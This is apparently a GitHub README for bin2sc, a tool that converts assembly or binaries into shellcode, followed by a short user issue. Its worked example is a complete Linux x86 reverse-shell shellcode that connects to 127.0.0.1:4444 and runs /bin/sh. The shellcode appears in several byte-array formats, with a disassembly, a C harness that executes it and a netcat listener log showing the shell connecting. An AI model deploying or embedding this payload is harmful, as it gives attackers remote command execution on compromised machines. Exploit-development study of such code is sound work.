vulnwarex / bin2sc

Binary to shellcode from an object/executable format 32 & 64-bit PE , ELF

bin2sc

Binary to shellcode

Note: The core DLLs of Win32 are kernel32.dll, user32.dll, and gdi32.dll. if your shellcode uses syscalls from any of the core DLLs, you will need to add it.

Win32 libs are located in C:\\Program Files (x86)\Windows Kits\10\Lib\10.0.18362.0\um\, in my case is 10.0.18362.0 version, but in your host machine could change.

Install

git clone https://github.com/SkyBulk/bin2sc.git
chmod +x bin2sc.py
python3 bin2sc.py 

Example Usage:

python3 bin2sc.py shellcode.asm {sc_arr,sc_app} {linux,win} {x86,x64} /full/path/to/WinApi32/kernel32.Lib

[+] block Shellcode
shellcode = ""
shellcode += "\x89\xe5\x31\xc0\x31\xc9\x31\xd2\x50\x50"
shellcode += "\xb8\xff\xff\xff\xff\xbb\x80\xff\xff\xfe"
shellcode += "\x31\xc3\x53\x66\x68\x11\x5c\x66\x6a\x02"
shellcode += "\x31\xc0\x31\xdb\x66\xb8\x67\x01\xb3\x02"
shellcode += "\xb1\x01\xcd\x80\x89\xc3\x66\xb8\x6a\x01"
shellcode += "\x89\xe1\x89\xea\x29\xe2\xcd\x80\x31\xc9"
shellcode += "\xb1\x03\x31\xc0\xb0\x3f\x49\xcd\x80\x41"
shellcode += "\xe2\xf6\x31\xc0\x31\xd2\x50\x68\x2f\x2f"
shellcode += "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"

[+] linear shellcode

\x89\xe5\x31\xc0\x31\xc9\x31\xd2\x50\x50\xb8\xff\xff\xff\xff\xbb\x80\xff\xff\xfe\x31\xc3\x53\x66\x68\x11\x5c\x66\x6a\x02\x31\xc0\x31\xdb\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\x66\xb8\x6a\x01\x89\xe1\x89\xea\x29\xe2\xcd\x80\x31\xc9\xb1\x03\x31\xc0\xb0\x3f\x49\xcd\x80\x41\xe2\xf6\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80


[+] linear src_arr shellcode

shellcode = [0x89, 0xe5, 0x31, 0xc0, 0x31, 0xc9, 0x31, 0xd2, 0x50, 0x50, 0xb8, 0xff, 0xff, 0xff, 0xff, 0xbb, 0x80, 0xff, 0xff, 0xfe, 0x31, 0xc3, 0x53, 0x66, 0x68, 0x11, 0x5c, 0x66, 0x6a, 0x02, 0x31, 0xc0, 0x31, 0xdb, 0x66, 0xb8, 0x67, 0x01, 0xb3, 0x02, 0xb1, 0x01, 0xcd, 0x80, 0x89, 0xc3, 0x66, 0xb8, 0x6a, 0x01, 0x89, 0xe1, 0x89, 0xea, 0x29, 0xe2, 0xcd, 0x80, 0x31, 0xc9, 0xb1, 0x03, 0x31, 0xc0, 0xb0, 0x3f, 0x49, 0xcd, 0x80, 0x41, 0xe2, 0xf6, 0x31, 0xc0, 0x31, 0xd2, 0x50, 0x68, 0x2f, 0x2f, 0x73, 0x68, 0x68, 0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0xb0, 0x0b, 0xcd, 0x80]

Double check shellcode opcodes

shellcode:     file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
 8048060:	89 e5                	mov    ebp,esp
 8048062:	31 c0                	xor    eax,eax
 8048064:	31 c9                	xor    ecx,ecx
 8048066:	31 d2                	xor    edx,edx
 8048068:	50                   	push   eax
 8048069:	50                   	push   eax
 804806a:	b8 ff ff ff ff       	mov    eax,0xffffffff
 804806f:	bb 80 ff ff fe       	mov    ebx,0xfeffff80
 8048074:	31 c3                	xor    ebx,eax
 8048076:	53                   	push   ebx
 8048077:	66 68 11 5c          	pushw  0x5c11
 804807b:	66 6a 02             	pushw  0x2
 804807e:	31 c0                	xor    eax,eax
 8048080:	31 db                	xor    ebx,ebx
 8048082:	66 b8 67 01          	mov    ax,0x167
 8048086:	b3 02                	mov    bl,0x2
 8048088:	b1 01                	mov    cl,0x1
 804808a:	cd 80                	int    0x80
 804808c:	89 c3                	mov    ebx,eax
 804808e:	66 b8 6a 01          	mov    ax,0x16a
 8048092:	89 e1                	mov    ecx,esp
 8048094:	89 ea                	mov    edx,ebp
 8048096:	29 e2                	sub    edx,esp
 8048098:	cd 80                	int    0x80
 804809a:	31 c9                	xor    ecx,ecx
 804809c:	b1 03                	mov    cl,0x3

0804809e <dup>:
 804809e:	31 c0                	xor    eax,eax
 80480a0:	b0 3f                	mov    al,0x3f
 80480a2:	49                   	dec    ecx
 80480a3:	cd 80                	int    0x80
 80480a5:	41                   	inc    ecx
 80480a6:	e2 f6                	loop   804809e <dup>
 80480a8:	31 c0                	xor    eax,eax
 80480aa:	31 d2                	xor    edx,edx
 80480ac:	50                   	push   eax
 80480ad:	68 2f 2f 73 68       	push   0x68732f2f
 80480b2:	68 2f 62 69 6e       	push   0x6e69622f
 80480b7:	89 e3                	mov    ebx,esp
 80480b9:	b0 0b                	mov    al,0xb
 80480bb:	cd 80                	int    0x80

shellcode testing

blackleitus@blackleitus:~$ nc -lvp 4444
Listening on [0.0.0.0] (family 0, port 4444)

Wrapper shellcode

#include <stdio.h>
#include <string.h>

unsigned char code[] = "\x89\xe5\x31\xc0\x31\xc9\x31\xd2\x50\x50\xb8\xff\xff\xff\xff\xbb\x80\xff\xff\xfe\x31\xc3\x53\x66\x68\x11\x5c\x66\x6a\x02\x31\xc0\x31\xdb\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\x66\xb8\x6a\x01\x89\xe1\x89\xea\x29\xe2\xcd\x80\x31\xc9\xb1\x03\x31\xc0\xb0\x3f\x49\xcd\x80\x41\xe2\xf6\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80";

int main(void) {
	printf("Shellcode Length:  %d\n", strlen(code));
	int (*ret)() = (int(*)())code;
	ret();
}

Connection from localhost 49058 received!

bin2sc's Issues

does it handle elf binary --> shellcode ?

as I can see in source, it's just wrapper around nasm, ld, and objdump.

can this tool convert elf binary to shellcode? for ex, if compile it with musl-gcc and -static

thanks.